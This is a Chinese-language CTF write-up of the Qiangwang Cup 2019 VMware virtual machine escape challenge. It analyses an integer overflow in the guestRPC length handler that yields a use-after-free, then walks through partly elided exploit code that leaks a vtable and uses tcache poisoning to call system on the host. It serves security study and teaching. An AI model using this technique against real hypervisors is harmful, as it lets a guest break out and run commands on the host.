虚拟机逃逸(二)
字数 2060 2025-08-06 21:48:48
虚拟机逃逸漏洞分析与利用教学文档
0x00 前言
本教学文档基于强网杯2019虚拟机逃逸题目,详细分析VMware虚拟机逃逸漏洞的发现、利用和调试过程。文档将涵盖以下关键内容:
- 虚拟机逃逸的基本概念和背景
- 漏洞定位和分析方法
- 漏洞利用技术细节
- 完整的漏洞利用开发过程
- 调试技巧和注意事项
0x01 漏洞分析
1.1 漏洞定位技术
Bindiff分析:
- 使用Bindiff比较原始vmx文件和补丁后的vmx文件
- 关键修改点:
- 将r12d改为r12w(省略r12高位)
- 跳转条件改为大于等于
- 取消条件检查,改为无条件跳转
010 Editor分析:
- 作为Bindiff的替代方案,可以更快定位差异
- 发现三处关键修改点
1.2 漏洞位置
漏洞位于guestRPC处理函数中,具体在Send_RPC_command_length函数内:
if ( v56 > v21 )
{
new_size = LOWORD(v56 + 1); // 漏洞点:整数溢出
ptr = realloc(ptr, new_size); // 当v56=0xffff时,new_size=0
msg_struct->field_38 = new_size;
}
1.3 漏洞原理
整数溢出漏洞:
- 使用
LOWORD修饰导致高位丢失 - 当设置v56=0xffff时:
- 通过大小检查(0xffff < 0x10000)
- LOWORD(0xffff + 1) = LOWORD(0x10000) = 0
- realloc第二个参数为0,等同于free
- 结果:ptr被释放但未置空,导致UAF(Use After Free)
1.4 RPC处理流程分析
Open_RPC_channel
- 打开信道
- 接收数据包并获取magicnum
- magicnum验证失败则退出
Send_RPC_command_length
- 检查byte_FE9584(魔数)
- 检查长度(-1或>0x10000则报错)
- 比较56和21偏移处的值
- v56:接收到的数据包长度
- v21:现有长度
- 如果数据长度>现有长度,则realloc重新分配
- 设置新大小并修改msg_struct
Send_RPC_command_data
- 读取需要发送的data指令
- 读取RPCI结构体
- 根据设置的长度发送msg(每次最多4字节)
- 发送完成后进入指令处理
- 设置flag标志为1
Recieve_RPC_reply_length
- guest获取返回的长度
Recieve_RPC_reply_data
- 执行指令后返回数据
- 一次接收4字节
- 数据转移到缓冲区
- 设置flag为发送完毕
Finish_receiving_RPC_reply & Close_RPC_channel
- 前者处理接收完成
- 后者关闭channel
- 设置flag为1
0x02 漏洞利用
2.1 利用思路
- 利用UAF泄露地址
- 劫持虚表指针
- 通过tcache poisoning实现任意地址写
- 最终执行系统命令
2.2 利用步骤
-
开启两个channel:
- channel A设置buffer为0x100
- channel B使用info-get也设置为0x100
-
触发漏洞:
- 通过channel A的set_len触发漏洞
- channel B获取这个buffer
- channel A再次触发漏洞
- 此时channel B的buffer已在tcache中
-
泄露地址:
- 调用dnd_vison函数写入虚表
- 通过UAF泄露虚表地址
-
劫持控制流:
- 使用tcache劫持技术
- 修改虚表指针为system地址
- 传入要执行的命令
2.3 完整利用代码分析
// 关键函数定义
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res);
void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res);
void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res);
void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res);
void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res);
void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res);
void channel_close(int cookie1, int cookie2, int channel_num, int *res);
// 泄露函数
void leak() {
// 1. 初始化数据
run_cmd("info-set guestinfo.a AAAA..."); // 设置消息长度为0x100
run_cmd("tools.capability.dnd_version 4");
// 2. 打开channel并设置长度
channel_open(&chan[0].cookie1, &chan[0].cookie2, &chan[0].num, &res);
channel_set_len(chan[0].cookie1, chan[0].cookie2, chan[0].num, 0x100, &res);
// 3. 发送数据
channel_send_data(chan[0].cookie1, chan[0].cookie2, chan[0].num, 0x100, "info-get guestinfo.a", &res);
// 4. 释放buffer
channel_set_len(chan[0].cookie1, chan[0].cookie2, chan[0].num, 0xffff, &res);
// 5. 重新分配并泄露
// ...省略部分代码...
// 6. 获取泄露的地址
text = (*(uint64_t *)data) - 0xf818d0;
}
// 利用函数
void exploit() {
// 1. 准备payload
uint64_t pay1 = text + 0xFE95B8;
uint64_t pay2 = text + 0xECFE0; // system
uint64_t pay3 = text + 0xFE95C8;
char *pay4 = "gnome-calculator\x00";
// 2. 打开多个channel
channel_open(&chan[0].cookie1, &chan[0].cookie2, &chan[0].num, &res);
// ...省略部分代码...
// 3. 触发UAF
channel_set_len(chan[0].cookie1, chan[0].cookie2, chan[0].num, 0xffff, &res);
// 4. 劫持tcache
channel_send_data(chan[1].cookie1, chan[1].cookie2, chan[1].num, 8, &pay1, &res);
// 5. 分配目标地址
channel_set_len(chan[2].cookie1, chan[2].cookie2, chan[2].num, strlen(s3), &res);
// 6. 写入system地址和参数
channel_send_data(chan[3].cookie1, chan[3].cookie2, chan[3].num, 8, &pay2, &res);
channel_send_data(chan[3].cookie1, chan[3].cookie2, chan[3].num, 8, &pay3, &res);
channel_send_data(chan[3].cookie1, chan[3].cookie2, chan[3].num, strlen(pay4)+1, pay4, &res);
// 7. 触发命令执行
run_cmd("gnome-calculator");
}
0x03 调试技巧
-
关键断点设置:
- 放在realloc位置,观察堆布局变化
- 检查目标chunk地址(如0x7f797803a890)
-
堆状态观察:
- 第一次free后,chunk应被挂入tcache
- 第二次free后,再次检查tcache状态
- 写入虚表后,检查内存变化
-
常见问题解决:
- GDB调试时基址不对:先发送payload再attach
- 虚拟机权限问题:使用sudo vmware
- 命令执行失败:检查虚拟化设置
-
调试过程:
- 观察realloc后的堆布局
- 确认chunk是否被正确释放和重新分配
- 验证地址泄露是否正确
- 检查tcache poisoning是否成功
0x04 总结与思考
-
逆向分析要点:
- 需要扎实的逆向基础
- 熟悉目标虚拟机内部结构
- 能够快速定位关键修改点
-
CTF与真实漏洞的区别:
- CTF更注重利用技巧
- 真实漏洞需要更全面的逆向分析能力
- 实际环境中有更多限制和防护
-
学习收获:
- 深入理解虚拟机内部机制
- 掌握realloc的edge case
- 熟练应用tcache poisoning技术
- 提升复杂环境下的调试能力
-
扩展思考:
- 如何防御此类漏洞?
- 其他虚拟机(如VirtualBox、QEMU)是否存在类似问题?
- 现代防护机制(如ASLR、CFI)如何影响这类漏洞利用?
本教学文档详细分析了虚拟机逃逸漏洞的发现、分析和利用全过程,重点讲解了整数溢出导致的UAF漏洞及其利用方法,通过tcache poisoning实现任意代码执行。文档包含了从基础理论到实际利用的完整知识链,适合中高级安全研究人员学习参考。